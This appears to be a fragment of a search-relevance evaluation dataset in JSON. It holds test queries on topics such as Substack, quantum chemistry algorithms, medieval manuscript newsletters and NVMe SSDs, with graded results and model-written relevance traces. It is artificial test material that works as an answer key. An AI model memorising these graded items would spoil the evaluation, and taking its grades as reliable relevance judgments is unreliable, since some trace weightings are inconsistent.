                "text": "Substack helps anyone set up a website and email newsletter so you can build your own media business, supported by subscribers. Part of the magic of Substack has always been how easy it is to start a publication\u2014no tech knowledge is required. While maintaining that ease, we want to give you customization where it counts, with tools that help you match your brand and style to your writing. In this guide, we\u2019ll walk you through the tools that you have to add polish and personality to your website and to organize your posts, creating an easy-to-navigate experience for readers.\u00a0 Before we get into the tools, let\u2019s first review the key components of a Substack website and some examples of how other writers have designed their websites.         Your Substack website has two key pages: the welcome page and the homepage. The welcome page is where a reader lands when they visit your publication for the first time. The homepage is where readers can explore your latest posts and you can organize your full archive. Both pages have been carefully designed to let your writing shine and help you communicate your brand style.       Zine by Matt Klein. Left: Welcome page. Right: Homepage.    Image dimension key     Logo: At least 256 x 256 pixels, with a transparent background    Wordmark: At least 1,344 x 256 pixels, with a maximum aspect ratio of 21:4    Cover photo: At least 600 x 600 pixels    Social/post preview image: We recommend at least 1,456 x 1,048 pixels, but 420 x 300 is the minimum. 14:10 is the aspect ratio for the preview images.   If these numbers feel overwhelming and you don\u2019t know where to begin with website design, don\u2019t worry. Uploading any image will help add some personality to your publication, and our system will crop it to make it look its best.         With varying design skills, interests, and resources, writers are finding a way to create an aesthetic that matches their writing.   uses Canva to create a library of assets she can pull from to add images to Unruly Figures. Her advice to writers: \u201cI thi",
                "model_trace": "Query Decomposition:\n1. {how to start a Substack blog}: This document provides a guide to setting up and customizing a Substack website, which is relevant to starting a Substack blog -> ([1], SATISFIED)\n2. {on the history of obscure board games}: The document does not specifically address starting a blog on the history of obscure board games -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponent of how to start a Substack blog. The specific topic of the blog (history of obscure board games) does not affect the general instructions provided in the document. Therefore, the document is helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "new developments in quantum computing algorithms for optimization problems in chemistry",
        "grid_pos": [
            0,
            0
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of technical topics that require a deep understanding of the latest research in computer science, social science, chemistry, and logistics. They are specific and detailed, drawing on specialized domain knowledge, yet still representative of the kinds of queries a user might plausibly submit to a search engine like Exa. The queries test Exa's ability to parse complex natural language, identify relevant scientific publications, and provide summaries of the latest advancements in these active research areas."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Q-CHOP: Quantum constrained Hamiltonian optimization",
                "url": "https://arxiv.org/abs/2403.05653",
                "published_date": "2024-03-08",
                "text": "",
                "model_trace": "Query Decomposition:\n1. [new developments in quantum computing algorithms]: The document title \"Q-CHOP: Quantum constrained Hamiltonian optimization\" suggests it discusses a new quantum computing algorithm -> ([1], SATISFIED)\n2. [optimization problems]: The title mentions \"optimization,\" indicating relevance to optimization problems -> ([1], SATISFIED)\n3. [in chemistry]: The document title does not specify that the optimization problems are in chemistry -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {new developments in quantum computing algorithms} and {optimization problems}, both of which are satisfied by the document. The subcomponent regarding chemistry is tagged [0] and does not affect the evaluation. YES."
            },
            {
                "grade": "YES",
                "title": "A Near-Term Quantum Algorithm for Computing Molecular and Materials Properties based on Recursive Variational Series Methods",
                "url": "https://arxiv.org/abs/2206.09881v2",
                "published_date": "2022-06-20",
                "text": "A Near-Term Quantum Algorithm for Computing Molecular and Materials Properties based on Recursive Variational Series Methods\n\nDate Published: 2023-08-29\n\nAuthors:\nPhillip W K Jensen, Chemical Physics Theory Group, University of Toronto, M5G 1Z8, Toronto, Ontario, Canada\nPeter D Johnson, Zapata Computing Inc, 100 Federal Street, 02110, Boston, MA, USA\nAlexander A Kunitsa, Zapata Computing Inc, 100 Federal Street, 02110, Boston, MA, USA, aakunitsa@gmail.com\n\nAbstract\n\nDetermining the properties of molecules and materials is one of the premier applications of quantum computing. A major question in the field is: how might we use imperfect near-term quantum computers to solve problems of practical value? We propose a quantum algorithm to estimate the properties of molecules using near-term quantum devices. The method is a recursive variational series estimation method, where we expand an operator of interest in terms of Chebyshev polynomials, and evaluate each term in the expansion using a variational quantum algorithm. We test our method by computing the one-particle Green's function in the energy domain and the autocorrelation function in the time domain.\n\n1. INTRODUCTION\n\nFor quantum computers of the distant future, powerful quantum algorithms have been developed for solving problems in quantum chemistry and materials. These problems include estimating ground [1, 2] and excited state energies [3, 4] , molecular gradients [5] , and many others. However, implementing the quantum algorithms for problem instances of interest requires large-scale faulttolerant quantum computers. What are the prospects for solving such problems with quantum computers before such large-scale devices are available? With the recent advances in quantum hardware, researchers have been investigating methods for using near-term quantum computers to solve problems of industry value. For the area of quantum chemistry and materials, much of this work has focused on the task of ground state energy estimation, with the primary method being the varia",
                "model_trace": "Query Decomposition:\n1. {new developments in quantum computing algorithms}: The document introduces a new quantum algorithm for computing molecular properties, which is a new development in quantum computing algorithms -> ([1], SATISFIED)\n2. {optimization problems}: The document focuses on estimating properties of molecules and materials, which may involve optimization but is not explicitly stated -> ([2], UNSURE)\n3. {chemistry}: The document is related to quantum chemistry and materials, which falls under the domain of chemistry -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {new developments in quantum computing algorithms} and {chemistry}. Both of these subcomponents are satisfied. The subcomponent related to optimization problems is not explicitly addressed but can be inferred to some extent. Overall, the document appears to be helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "A universal quantum algorithm for weighted maximum cut and Ising problems",
                "url": "https://export.arxiv.org/pdf/2306.06539v1.pdf",
                "published_date": "2023-07-11",
                "text": "A Universal Quantum Algorithm for Weighted Maximum Cut and Ising Problems\n\nNatacha Kuete Meli \nInstitute of Mathematics and Image Computing\nUniversity of L\u00fcbeck\nMaria-Goeppert-Stra\u00dfe 323562L\u00fcbeck, Schleswig-HolsteinGermany\n\nFlorian Mannel \nInstitute of Mathematics and Image Computing\nUniversity of L\u00fcbeck\nMaria-Goeppert-Stra\u00dfe 323562L\u00fcbeck, Schleswig-HolsteinGermany\n\nJan Lellmann lellmann@mic.uni-luebeck.de \nInstitute of Mathematics and Image Computing\nUniversity of L\u00fcbeck\nMaria-Goeppert-Stra\u00dfe 323562L\u00fcbeck, Schleswig-HolsteinGermany\n\nA Universal Quantum Algorithm for Weighted Maximum Cut and Ising Problems\nVariational quantum algorithmsHybrid quantum circuitsWeighted maximum cutIsing model\nWe propose a hybrid quantum-classical algorithm to compute approximate solutions of binary combinatorial problems. We employ a shallow-depth quantum circuit to implement a unitary and Hermitian operator that block-encodes the weighted maximum cut or the Ising Hamiltonian. Measuring the expectation of this operator on a variational quantum state yields the variational energy of the quantum system. The system is enforced to evolve towards the ground state of the problem Hamiltonian by optimizing a set of angles using normalized gradient descent. Experimentally, our algorithm outperforms the state-of-the-art quantum approximate optimization algorithm on random fully connected graphs and challenges D-Wave quantum annealers by producing better approximate solutions. Source code and data files are publicly available under https://github.com/nkuetemeli/UQMaxCutAndIsing.\n\nIntroduction\n\nQuantum computing has emerged as a powerful computation paradigm taking advantage of principles of quantum mechanisms. It involves two computational models that fundamentally differ in their functioning: The adiabatic quantum model is best suited for optimization problems, typically cast in quadratic unconstrained binary optimization form. Commercial devices such as dwave annealers [1] can already solve combinatorial problems in various fields such as co",
                "model_trace": "Query Decomposition:\n1. {new developments in quantum computing algorithms}: The document proposes a new hybrid quantum-classical algorithm, which is a development in quantum computing algorithms -> ([1], SATISFIED)\n2. {algorithms for optimization problems}: The document specifically addresses optimization problems, such as the weighted maximum cut and Ising problems -> ([1], SATISFIED)\n3. {optimization problems in chemistry}: The document does not mention chemistry or chemical optimization problems specifically -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {new developments in quantum computing algorithms} and {algorithms for optimization problems}. Both of these subcomponents are satisfied. The document does not address the specific application to chemistry, but the key aspects of the query are met.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Scientists deliver quantum algorithm to develop new materials and ...",
                "url": "https://phys.org/news/2024-03-scientists-quantum-algorithm-materials-chemistry.html",
                "published_date": null,
                "text": "Credit: Physical Review Research (2024). DOI: 10.1103/PhysRevResearch.6.013238\n  \n U.S. Naval Research Laboratory (NRL) scientists have published the Cascaded Variational Quantum Eigensolver (CVQE) algorithm in a recent Physical Review Research article. The algorithm is expected to become a powerful tool to investigate the physical properties in electronic systems.\nThe CVQE algorithm is a variant of the Variational Quantum Eigensolver (VQE) algorithm that only requires the execution of a set of quantum circuits once rather than at every iteration during the parameter optimization process, thereby increasing the computational throughput.\n\"Both algorithms produce a quantum state close to the ground state of a system, which is used to determine many of the system's physical properties,\" said John Stenger, Ph.D., a Theoretical Chemistry Section research physicist. \"Calculations that previously took months can now be performed in hours.\"\nThe CVQE algorithm uses a quantum computer to probe the needed probability mass functions and a classical computer to perform the remaining calculations, including the energy minimization.\n\"Finding the minimum energy is computationally hard as the size of the state space grows exponentially with the system size,\" said Steve Hellberg, Ph.D., a Theory of Advanced Functional Materials Section research physicist. \"Except for very small systems, even the world's most powerful supercomputers are unable to find the exact ground state.\"\nTo address this challenge, scientists use a quantum computer with a qubit register, whose state space also increases exponentially, in this case with qubits. By representing the states of a physical system on the state space of the register, a quantum computer can be used to simulate the states in the exponentially large representation space of the system.\n Credit: Physical Review Research (2024). DOI: 10.1103/PhysRevResearch.6.013238\n  \nData can subsequently be extracted by quantum measurements. As quantum measurements are not deterministic, the quantum circu",
                "model_trace": "Query Decomposition:\n1. [new developments in quantum computing algorithms]: The document discusses the Cascaded Variational Quantum Eigensolver (CVQE) algorithm, which is a new development in quantum computing algorithms -> ([1], SATISFIED)\n2. [optimization problems]: The document describes how the CVQE algorithm optimizes the parameter process and finds the minimum energy state, which is an optimization problem -> ([1], SATISFIED)\n3. [in chemistry]: The document specifically mentions that the algorithm is used to investigate physical properties in electronic systems and includes quotes from a Theoretical Chemistry Section research physicist -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "Novel quantum algorithm for high-quality solutions to combinatorial ...",
                "url": "https://www.sciencedaily.com/releases/2024/03/240325114124.htm",
                "published_date": null,
                "text": "Conventional quantum algorithms are not feasible for solving combinatorial optimization problems (COPs) with constraints in the operation time of quantum computers. To address this issue, researchers have developed a novel algorithm called post-processing variationally scheduled quantum algorithm. The novelty of this innovative algorithm lies in the use of a post-processing technique combined with variational scheduling to achieve high-quality solutions to COPs in a short time. \nCombinatorial optimization problems (COPs) have applications in many different fields such as logistics, supply chain management, machine learning, material design and drug discovery, among others, for finding the optimal solution to complex problems. These problems are usually very computationally intensive using classical computers and thus solving COPs using quantum computers has attracted significant attention from both academia and industry.\nQuantum computers take advantage of the quantum property of superposition, using specialized qubits, that can exist in an infinite yet contained number of states of 0 or 1 or any combination of the two, to quickly solve large problems. However, when COPs involve constraints, conventional quantum algorithms like adiabatic quantum annealing struggle to obtain a near-optimal solution within the operation time of quantum computers. Recent advances in quantum technology have led to devices such as quantum annealers and gate-type quantum devices that provide suitable platforms for solving COPs. Unfortunately, they are susceptible to noise, which limits their applicability to quantum algorithms with low computational costs.\nTo address this challenge, Assistant Professor Tatsuhiko Shirai and Professor Nozomu Togawa from the Department of Computer Science and Communications Engineering at Waseda University in Japan have recently developed a groundbreaking post-processing variationally scheduled quantum algorithm (pVSQA). \"The two main methods for solving COPs with quantum devices are variational schedulin",
                "model_trace": "Query Decomposition:\n1. {new developments in quantum computing algorithms}: The document discusses a novel quantum algorithm called post-processing variationally scheduled quantum algorithm, which is a new development -> ([1], SATISFIED)\n2. {optimization problems in chemistry}: The document mentions combinatorial optimization problems (COPs) and their applications in various fields, including material design and drug discovery, which are related to chemistry -> ([2], SATISFIED)\n\nAssessment: The document discusses a new quantum computing algorithm and its application to optimization problems, including those in chemistry. Both relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Quantum Algorithms: Revolutionizing Computing and Unlocking ...",
                "url": "https://www.btq.com/blog/quantum-algorithms-revolutionizing-computing-and-unlocking-new-possibilities",
                "published_date": null,
                "text": "What makes a quantum algorithm actually quantum? Quantum algorithms are step-by-step coded instructions that leverage quantum properties to handle computations. While it is possible to run classical algorithms on a quantum computer, the term \"quantum algorithm\" refers to algorithms that use distinctly quantum procedures, such as superposition or entanglement. Quantum algorithms are why quantum computers can significantly outperform classical computers in certain tasks. Key areas where quantum algorithms are used include cryptography, quantum system modeling, search and optimization, factoring large numbers, and solving complex systems of linear equations. As quantum computing advances, researchers are actively exploring new quantum algorithms and applications across various domains, pushing the boundaries of what is computationally possible. We will focus our discussion on two key quantum algorithms: Shor's algorithm to break cryptography and Grover's algorithm for search. Together, these two algorithms hint at the immense potential of quantum computing and are a key reason why so much research is being devoted to developing practical, large-scale quantum computers. As quantum hardware continues to improve, we may see more and more quantum algorithms emerge that can solve previously intractable computational problems.  Shor\u2019s Algorithm  Named after mathematician Peter Shor, this algorithm is, in theory, capable of efficiently solving the underlying mathematical problems associated with our current encryption system. These mathematical problems involve factoring large numbers, which has proven extremely challenging even for supercomputers' most advanced classical algorithms. When Shor's algorithm is run on a quantum computer with millions of qubits, it can break the encryption systems and cryptography standards (RSA and ECC) upon which the security of our online world is built. A quantum computer running Shor's algorithm would only require about 100 seconds to factor RSA encryption, whereas classical supercomputer",
                "model_trace": "Query Decomposition:\n1. {new developments in quantum computing algorithms}: The document discusses quantum algorithms but does not specifically mention new developments -> ([1], UNSATISFIED)\n2. {algorithms for optimization problems}: The document mentions Grover's algorithm for search and Shor's algorithm for cryptography but does not specifically address optimization problems -> ([1], UNSATISFIED)\n3. {in chemistry}: The document does not mention chemistry at all -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents {new developments in quantum computing algorithms} and {algorithms for optimization problems} are not satisfied. Therefore, the document is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "top 5 substack newsletters for learning about medieval illuminated manuscripts",
        "grid_pos": [
            0,
            2
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries cover a diverse range of topics that require deep subject matter knowledge and understanding of internet culture and content to properly evaluate. They test Exa's ability to handle specific, detailed queries on niche or complex subjects, as well as its ability to identify high-quality, authoritative content in the form of Substack blogs and personal blog posts. The queries involve topics like board games, quantum computing, the metaverse, medieval art, and K-pop - all areas that would require significant external knowledge to properly address. Exa would need to understand the context and nuance of these queries to identify the most relevant and useful content."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Modern Medieval",
                "url": "https://modernmedieval.substack.com/",
                "published_date": "2023-01-26",
                "text": "Modern Medieval\n\nSubscribeSign in\n Home\n The Bright Ages\n Archive\n About\n Share this publication\n\nModern Medieval\n\nmodernmedieval.substack.com\n Copy link\n Twitter\n Facebook\n Email\n\nModern Medieval\n\neuropean middle ages, history, news, books, pop culture (by David M. Perry & Matthew Gabriele)\n\nLaunched 3 months ago\n Subscribe\n No thanks\n By registering you agree to Substack's Terms of Service, our Privacy Policy, and our Information Collection Notice\n A Neo-Medieval War on UniversitiesAdministrators should learn from history and be a part of the university, not apart from the university\n Matthew Gabriele\n and\n David M. Perry\n Jan 26\n 13\n 1\n An Interactive Medieval Map from the British Librarythis is just really cool\n Matthew Gabriele\n and\n David M. Perry\n Jan 24\n 8\n 5\n \"Western Civilization\" as Dog Whistleyeah, that phrase still has a pretty racist history\n David M. Perry\n and\n Matthew Gabriele\n Feb 1\n 15\n 6\n The Once and Future (Medieval) SexA Conversation with Dr. Eleanor Janega about her great new book\n Matthew Gabriele\n and\n David M. Perry\n Jan 20\n 11\n\nMost popular\n\nThe Once and Future (Medieval) Sex\n Matthew Gabriele\n and\n David M. Perry\n 11\n #Receptiogate\n David M. Perry\n and\n Matthew Gabriele\n 7\n 7\n \"Western Civilization\" as Dog Whistle\n David M. Perry\n and\n Matthew Gabriele\n 15\n 6\n Oathkeepers and Oathbreakers\n Matthew Gabriele\n and\n David M. Perry\n 14\n 8\n A Neo-Medieval War on Universities\n Matthew Gabriele\n and\n David M. Perry\n 13\n 1\n An Interactive Medieval Map from the British Library\n Matthew Gabriele\n and\n David M. Perry\n 8\n 5\n See all popular\n New Community\n How we talk about the weatherWhen the National Weather Service says \"Once in 1000 years,\" do they mean the Middle Ages?\n David M. Perry\n and\n Matthew Gabriele\n Jan 12\n 8\n 2\n Oathkeepers and OathbreakersAnother Milestone, another book giveaway, and a taste of what's on the horizon\n Matthew Gabriele\n and\n David M. Perry\n Jan 8\n 14\n 8\n Matt and David go to the moviesMatt would destroy the time machine; David is nicer\n Matthew Gabriele\n and\n David M",
                "model_trace": "Query Decomposition:\n1. {top 5 substack newsletters}: The document is a Substack newsletter -> ([1], SATISFIED)\n2. {learning about medieval illuminated manuscripts}: The document mentions topics related to the European Middle Ages, history, news, books, and pop culture, but it does not specifically mention medieval illuminated manuscripts -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponent {learning about medieval illuminated manuscripts} is not satisfied. Therefore, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Sexy Codicology Newsletter",
                "url": "https://us7.campaign-archive.com/home/?u=e74d41e422bbd10bc391a509d&id=bc61df03f0",
                "published_date": "2013-03-10",
                "text": "Email Campaign Archive\n\nfrom Sexy Codicology\n\njoin our mailing list \n 06/30/2017 - \ud83d\udcda Even more digitized medieval manuscripts on the DMMapp! \ud83d\udcda 03/14/2016 - \ud83d\udcd6\ud83d\udcdaIlluminated Manuscripts Everywhere! \ud83d\udcda\ud83d\udcd6 08/28/2015 - New milestone for the DMMapp! 05/18/2015 - Illuminated Manuscripts Everywhere! 03/09/2015 - Illuminated Manuscripts Everywhere! 02/11/2015 - Illuminated Manuscripts Everywhere! 12/25/2014 - Medieval Manuscripts Xmas News! 10/25/2014 - Medieval Manuscripts News! 08/04/2014 - Summer Medieval Manuscripts News! 07/07/2014 - Medieval Manuscripts News! 05/31/2014 - I love the smell of manuscripts in the morning... Smells like... Culture! 04/30/2014 - 10 Videos and a Conference 03/20/2014 - The DMMmaps App is here! 02/27/2014 - Introducing the DMMmap Heat Map! 01/29/2014 - New year, new digitized manuscripts! 12/19/2013 - Merry Xmas! And a happy new DMMmaps website! 11/29/2013 - Illuminated Manuscripts Everywhere! 10/31/2013 - Sexy Codicology News from October 10/03/2013 - Even More Medieval Manuscripts! 08/30/2013 - Sexy Codicology's August Highlights",
                "model_trace": "Query Decomposition:\n1. {top 5 substack newsletters}: The document is about a single newsletter called \"Sexy Codicology,\" and not a list of newsletters -> ([1], UNSATISFIED)\n2. {learning about medieval illuminated manuscripts}: The content of the newsletter appears to focus on medieval illuminated manuscripts -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to learning about medieval illuminated manuscripts but does not address the user's request for a list of the top 5 Substack newsletters. Therefore, it does not fully meet the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Above the Mantel",
                "url": "https://mantel.beehiiv.com/subscribe",
                "published_date": null,
                "text": "Above the Mantel\n\nA Newsletter for Collectors\n\nLet me read it first\n\nA beehiiv newsletter\n\nPrivacy Policy\n\nTerms of Use",
                "model_trace": "Query Decomposition:\n1. {top 5 substack newsletters}: This document is about a single beehiiv newsletter, not a list of Substack newsletters -> ([1], UNSATISFIED)\n2. {learning about medieval illuminated manuscripts}: This document does not mention medieval illuminated manuscripts -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Manuscripts: from Charlemagne to Ireland to the Romanesque",
                "url": "https://open.substack.com/pub/hilarywhite/p/manuscripts-from-charlemagne-to-ireland?r=9bqqp&utm_campaign=post&utm_medium=web",
                "published_date": null,
                "text": "In this post for free subscribers we\u2019ll start to take a look at the medieval book, manuscripts, that were often richly illustrated and cost more than your house.       Gospels of Liessies. Title page of the Gospel of St. John. c. 1147   The world of manuscript art is a fascinating blend of devotion, artistry, craftsmanship and scholarship that flourished across medieval Europe from the Carolingian Renaissance to the invention of the printing press, between the 6th and 16th centuries. These manuscripts are not just texts; they are vibrant visual masterpieces that provide a window into the medieval mind and its intricate interplay of faith, culture, and artistic expression.         This post is free to all subscribers and readers.  The Sacred Images Project looks at art history and culture through the lens of the first 1200 years of Christian sacred art.   If you would like to accompany us into a deep dive into these spiritually and culturally enriching issues, to grow in familiarity with these inestimably precious treasures, I hope you\u2019ll consider taking out a paid membership, so I can continue doing the work and expanding it.  This is my full time work, but it is not yet generating a full time income. I rely upon subscriptions and patronages from readers like yourself to pay bills and keep body and soul together.   You can subscribe for free to get one and a half posts a week. For $9/month you also get a weekly in-depth article on this great sacred patrimony, plus extras like downloadable high res images, photos, videos and podcasts (in the works), as well as voiceovers of the articles, so you can cut back on screen time.   We are significantly further ahead in the effort to raise the percentage of paid to free subscribers than we were a month ago, from barely 2% to just over 4.2%, but this is still well below the standard on Substack for a sustainable 5-10%.   The other way you can help support the work is by signing up for a patronage through my studio site, where you can choose for yourself the amount you cont",
                "model_trace": "Query Decomposition:\n1. {top 5 Substack newsletters}: The document is a Substack newsletter, but it is not a list of top 5 newsletters -> ([1], UNSATISFIED)\n2. {learning about medieval illuminated manuscripts}: The document is about medieval illuminated manuscripts and provides detailed information about them -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {top 5 Substack newsletters} and {learning about medieval illuminated manuscripts}. Since {top 5 Substack newsletters} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Best Literature Newsletters on Substack",
                "url": "https://substack.com/top/literature",
                "published_date": null,
                "text": "Top Literature Substacks A full list of the top 25 literature newsletters and podcasts on Substack. Includes insights and analysis into the process of writing and publishing, reviews and analysis of current and historical works, along with original poetry, short stories and longer form pieces.    A place to explore the way the short story works.  HUNDREDS OF THOUSANDS OF SUBSCRIBERS    poetry | astrology | mystery  TENS OF THOUSANDS OF SUBSCRIBERS    Kronikos. Rekomendacijos. Podcastai. Paskaitos. Sve\u010diai. Ra\u0161omo romano fragmentai ir komentarai. Knyg\u0173 draugija. Intelektinis \u017eaidimas.   TENS OF THOUSANDS OF SUBSCRIBERS    This is the home of two newsletters. Paid subscribers get Cheryl's Dear Sugar Letter monthly, plus her free newsletter several times a year, which includes her \"Tells Us\" author series. Free subscribers get everything but the monthly Dear Sugar Letter.  HUNDREDS OF THOUSANDS OF SUBSCRIBERS    \u2728 a cosy online space for curious readers \u2728 from Sunday Times Bestselling author Emma Gannon. On books, work, wellbeing & creativity. 5th literature Substack globally. \"One of Britain\u2019s most prominent Substack writers\" \u2014The Times  TENS OF THOUSANDS OF SUBSCRIBERS    The only expert guide to Substack\u2014where you grow your Substack, earn an income, and produce your best work \u2726 Join the Substack Growth Cohort   TENS OF THOUSANDS OF SUBSCRIBERS    Letters from New Hampshire...and Beyond  TENS OF THOUSANDS OF SUBSCRIBERS    Happiness, sadness, and everything in between. \nNo recipes.  TENS OF THOUSANDS OF SUBSCRIBERS    New writing from award-winning author, psychologist and mythologist Dr Sharon Blackie. A gathering place for hags, lovers of myth, fairy tales and archetypal psychology, and all those seeking the enchanted life. Exclusive monthly Fairy Tale Salons, weekly Heroine's Journey threads, On the Couch advice column, articles, podcast and other resources for living meaningfully in a challenging world.  TENS OF THOUSANDS OF SUBSCRIBERS    The Weekly Muse is the ultimate resource to help poets write & ",
                "model_trace": "Query Decomposition:\n1. {top 5 substack newsletters}: This document lists top literature newsletters on Substack, so it contains relevant information -> ([1], SATISFIED)\n2. {learning about medieval illuminated manuscripts}: The document does not mention medieval illuminated manuscripts specifically -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {top 5 substack newsletters}, which is satisfied. However, the document does not address the specific topic of medieval illuminated manuscripts, which is crucial to the user's query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Medievalish 2.12",
                "url": "https://gracehamman.substack.com/p/medievalish-212",
                "published_date": null,
                "text": "Dear friend,  Medieval plays, theology, and poetry may be what we read the most from the Middle Ages, but they are not the only survivors of time, fires, reformations, and changing customs. One of the most popular categories of medieval manuscripts existing today is the pastoral text: books meant to help medieval priests shepherd their parishioners, or books looking to spiritually form the average medieval Christian. These included penitential materials to guide either layperson or cleric through the sacrament of confession, sermon collections for the less gifted in preaching to use verbatim if necessary (think the medieval equivalent of Mr. Collins and  Fordyce\u2019s Sermons ), and preachers\u2019 handbooks stuffed full of ideas and anecdotes to use in teaching and preaching.    I have been slowly making my way through one of the more popular preachers\u2019 handbooks, the  Fasciculus Morum .  FM  (I\u2019m abbreviating for the sake of my constantly mistyping fingers) was created in the early fourteenth century by a Franciscan priest in England. Versions of  FM  survive in twenty-eight manuscripts today, indication of its popularity in the Middle Ages ( a new study estimates that 90% of medieval manuscripts were lost to time ).  FM  is organized by the Seven Capital Vices and their remedies, including hundreds of anecdotes and even short poems illustrating the vices and virtues. It was written in Latin. One of my saddest failings as a medievalist is how bad I am at Latin (self-taught, terribly undisciplined), so I rely on  Siegfried Wenzel\u2019s excellent edition with a facing English translation .    One of my favorite qualities of  FM  and many books like it is how it mixes more sensational miracle tales with sober theological reflection. For paid subscribers, I will soon share a delightful and expressive tale of a dying man\u2019s encounter with demons that has surprisingly stuck with me. But for this newsletter, I want to share one of the most beautiful passages from the entire book\u2014a musing on the marvel of the Incarnation that appear",
                "model_trace": "Query Decomposition:\n1. {top 5 Substack newsletters}: This document is a single Substack newsletter and does not provide a list of top 5 newsletters -> ([1], UNSATISFIED)\n2. {for learning about medieval illuminated manuscripts}: The content of the newsletter discusses medieval manuscripts, but it focuses more on pastoral texts and preachers' handbooks rather than illuminated manuscripts specifically -> ([1], UNSATISFIED).\n\nAssessment: The document does not satisfy either of the key subcomponents. NO."
            }
        ]
    },
    {
        "query": "best ssd nvme pcie 4.0 2023",
        "grid_pos": [
            0,
            3
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and process complex, jargon-heavy requests typical of Google searches for consumer products and services. They require up-to-date knowledge of technology, home appliances, and consumer goods, as well as an understanding of specific technical terms and abbreviations. Each query is challenging in its own way:\n\n1. \"best ssd nvme pcie 4.0 2023\" - Requires knowledge of computer hardware, specifically solid-state drives, and understanding of current technology standards.\n\n2. \"cheapest 4k 120hz hdmi 2.1 tv\" - Tests understanding of TV specifications and the ability to find budget-friendly options with specific technical requirements.\n\n3. \"fastest ev charger home install\" - Challenges the system to understand electric vehicle terminology and home installation services.\n\n4. \"quietest robot vacuum pet hair\" - Requires comprehension of home appliance features and specific use cases (pet hair).\n\n5. \"most durable edc folding knife\" - Tests knowledge of everyday carry (EDC) items and understanding of durability in the context of folding knives.\n\nThese queries are realistic yet challenging, requiring Exa to parse technical jargon, understand abbreviations, and provide up-to-date information on consumer products and services."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "SK hynix Gold P31 2TB PCIe NVMe Gen3 M.2 2280 Internal SSD l Up to 3500MB/S l Compact M.2 SSD Form Factor SSD - Internal Solid State Drive with 128-Layer NAND Flash",
                "url": "https://www.amazon.com/SK-hynix-Gold-PCIe-Internal/dp/B099RHVB42?&amp&tag=moviesandmore0e-20",
                "published_date": "2022-04-05",
                "text": "5.0 out of 5 stars\n\nWhy I chose this one\n\nReviewed in the United States on June 27, 2022\n\nIf you are looking for a SSD, whether for an upgrade or a new build, you have a lot of choices from both very well known companies and some you\u2019ve never heard of. There may be a lot of your reading this who never heard of this company before and were either lured by the price compared to others or maybe you ran across a third-party review for it somewhere. If you are a technie who actually walks the walk rather than regurgitates fantasy specs you already know that this SSD has a lot going for it, perhaps making it one of the best overall buys you can find. And if you\u2019re on the other end of the extreme, depending on the so-called experts to guide you, you probably feel a whole lot safer sticking to a brand name you know. Let\u2019s stop right there and clear that up for you, the company who makes this is one of only two or three who actually designs, engineers and makes these things. Until recently they hid behind the scenes, content to sell their technology to those more famous names. Now they are available under their own brand name and the fact is that it seems they have saved some of their best technology for themselves.I am not a computer engineer but I have a very solid background in the industry. These days I operate my own photographic and design studio and have an HP graphics workstation that is substantially more sophisticated than most typical PC\u2019s. My language is performance, not benchmark tests under ideal conditions or what manufacturers put on their spec sheets. The company who makes workstations like mine has installed Hynix memory for a very long time in their products, it\u2019s what I buy when I upgrade memory. Due to the heavy use my systems get I was shopping for 1TB SSD\u2019s and did a lot of research. Paying a few dollars more or less wasn\u2019t part of the equation - performance and reliability topped my list, with the second one hard to quantify and not usually discussed in other reviews. I can\u2019t and won\u2019t put a number",
                "model_trace": "Query Decomposition:\n1. {best}: The document reviews the SK hynix Gold P31 SSD and suggests it is a good choice, but it does not compare it to other SSDs or provide a ranking -> ([1], UNSATISFIED)\n2. {ssd nvme}: The document is about an NVMe SSD, so this subcomponent is satisfied -> ([1], SATISFIED)\n3. {pcie 4.0}: The document specifies that the SSD is PCIe Gen3, not PCIe 4.0 -> ([1], UNSATISFIED)\n4. {2023}: The document was published in 2022, so it does not cover the latest information for 2023 -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {best}, {ssd nvme}, and {pcie 4.0}. Since {best} and {pcie 4.0} are UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Silicon Power US70 M.2 2280 2TB PCI-Express 4.0 x4, NVMe 1.3 3D NAND Internal Solid State Drive (SSD) SP02KGBP44US7005 - Newegg.com",
                "url": "https://www.newegg.com/silicon-power-2tb-us70/p/N82E16820301431?ranMID=44583&AFFID=3300243&ranSiteID=SLtUPD4oMZw-0r_nAicz.sKZQ2zaIymxsg&AFFNAME=techtoyreviews&ACRID=1&ASUBID=&ASID=&cm_mmc=AFC-RAN-COM&nm_mc=AFC-RAN-COM&ranEAID=3300243",
                "published_date": "2020-08-26",
